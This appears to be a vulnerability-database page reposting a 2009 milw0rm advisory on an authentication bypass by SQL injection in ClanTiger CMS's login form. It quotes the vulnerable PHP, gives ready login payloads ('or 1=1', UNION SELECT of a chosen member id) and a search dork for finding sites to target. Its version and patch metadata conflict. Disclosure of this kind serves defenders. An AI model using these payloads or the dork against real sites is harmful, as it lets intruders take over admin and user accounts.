AUTH BYPASS LOGIN FORM (SQL INJECTION)

vendor:

ClanTiger CMS

by:

Juan Carlos García

5,5

CVSS

MEDIUM

AUTH BYPASS LOGIN FORM (SQL INJECTION)

CWE

Product Name: ClanTiger CMS

Affected Version From: 1.0

Affected Version To: 1.2

Patch Exists: YES

Related CWE: CVE-2018-19072

CPE: a:clantiger:clantiger_cms

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows, Linux, Mac

2018

AUTH BYPASS LOGIN FORM (SQL INJECTION)

ClanTiger CMS is vulnerable to an authentication bypass vulnerability due to a failure to properly sanitize user-supplied input. An attacker can exploit this vulnerability to bypass the authentication process and gain access to the application.

Mitigation:

Upgrade to the latest version of ClanTiger CMS.

Source

Exploit-DB raw data:

***********************************************************************************************
***********************************************************************************************
**	       										     **
**  											     **
**     [] [] []  [][][][>  []     []  [][  ][]     []   [][]]  []  [>  [][][][>  [][][][]    **
**     || || ||  []        [][]   []   []  []     []   []      [] []   []	 []    []    **
   [>  [][][][]  [][][][>  [] []  []   []  []   [][]  []       [][]    [][][][>  []    []    **
**  [-----[]-----[][][][>--[]--[]-[]---[][][]--[]-[]--[]--------[]-----[][][][>--[][][][]---\ 
**==[>    []     []        []   [][]   []  [] [][][]  []       [][]    []           [] []  >>--
**  [----[[]]----[]--- ----[]-----[]---[]--[]-----[]--[]-------[] []---[]----------[]--[]---/ 
   [>   [[[]]]   [][][][>  [][]   [] [][[] [[]]  [][]  [][][]  []  [>  [][][][> <][]   []    **
**							                                     **
**    											     **
**                          Â¡VIVA SPAIN!...Â¡GANAREMOS EL MUNDIAL!...o.O                      **
**					Â¡PROUD TO BE SPANISH!				     **
**											     **
***********************************************************************************************
***********************************************************************************************

----------------------------------------------------------------------------------------------
|       	   	    	AUTH BYPASS LOGIN FORM (SQL INJECTION)	         	     |
|--------------------------------------------------------------------------------------------|
|                         	     | CLAN TIGER CMS |		 			     |
|  CMS INFORMATION:		      ----------------					     |
|										             |
|-->WEB: http://www.clantiger.com				   		             |
|-->DOWNLOAD: http://www.clantiger.com/download-clan-cms 	   		             |
|-->DEMO: http://www.demo.clantiger.com/						     |
|-->CATEGORY: CMS / Portals								     |
|-->DESCRIPTION: ClanTiger is a content management system specifically designed for gaiming  |
| 		clans...								     |
|											     |
|  CMS VULNERABILITY:									     |
|											     |
|-->TESTED ON: firefox 2.0.0.20 and IE 7.0.5730 (Default)				     |
|-->DORK: "Powered by ClanTiger"							     |
|-->CATEGORY: SQL INJECTION/ AUTH BYPASS						     |
|-->AFFECT VERSION: LAST = 1.1.1 (1.1 too)						     |
|-->Discovered Bug date: 2009-04-11							     |
|-->Reported Bug date: 2009-04-11							     |
|-->Fixed bug date: Not fixed								     |
|-->Info patch (????): Not fixed							     |
|-->Author: YEnH4ckEr									     |
|-->mail: y3nh4ck3r[at]gmail[dot]com							     |
|-->WEB/BLOG: N/A									     |
|-->COMMENT: A mi novia Marijose...hermano,cuÃ±ada, padres (y amigos xD) por su apoyo.        |
----------------------------------------------------------------------------------------------

-----------
BUG FILE:
-----------

Path --> [HOME_PATH]/module/login.php

It contents:

	function authenticate()
	{
		
		$authentication = $this->access->authenticate($_POST['email'],$_POST['password'],(bool) $_POST['stayLogged']);
		if($authentication === true)
		{
			header('Location: index.php?info=hasLoggedIn');
			exit;
		}

		// we couldn't log in
		$this->errorMessages[] = $authentication;
		$this->main();		
		
	}

Path --> [HOME_PATH]/function/class.accesscontrol.php

It contents:

public function authenticate($email,$password,$stayAuthed=false)
	{
		
		if($stayAuthed) $logintime = time() + (3600*24*356*3);
		else $logintime = time() + 3600;
		
		// attempt to get the user from the database
		include ROOTPATH . 'base/class.user.php';
		$user = new User;
		$user->email = $email;
		$user->password = md5($password);
		$user->getBy(array('email','password'));
		...
				
	}	

------------
CONDITIONS:
------------

**gpc_magic_quotes=off

----------------------------------
PROOF OF CONCEPT (SQL INJECTION):
----------------------------------

[HOME_PATH]/index.php?module=login

login form:

e-mail value: something' [SQL]
password value: something //it is not used

---------
EXAMPLE:
---------

login post form:

e-mail value: something' or 1=1 /* --> we are admin!
e-mail value: something' or 1   #  --> we are admin!

Note: Now, we need DB_PREFIX (default: "", others: db_, clan_, etc)

e-mail value: something' AND 0 UNION ALL SELECT * FROM members WHERE id=1 /*-->admin (if id=1)!
e-mail value: something' AND 0 UNION ALL SELECT * FROM members WHERE id=12 /* -->we are user id=12! 

*******************************************************************
 ESPECIAL THANKS TO: Str0ke and every H4ck3r(all who do milw0rm)!
*******************************************************************
-------------------------------------------------------------------
*******************************************************************
 GREETZ TO: JosS and all spanish Hack3Rs community!
*******************************************************************

-------------------EOF---------------------------------->>>ENJOY IT!

# milw0rm.com [2009-04-17]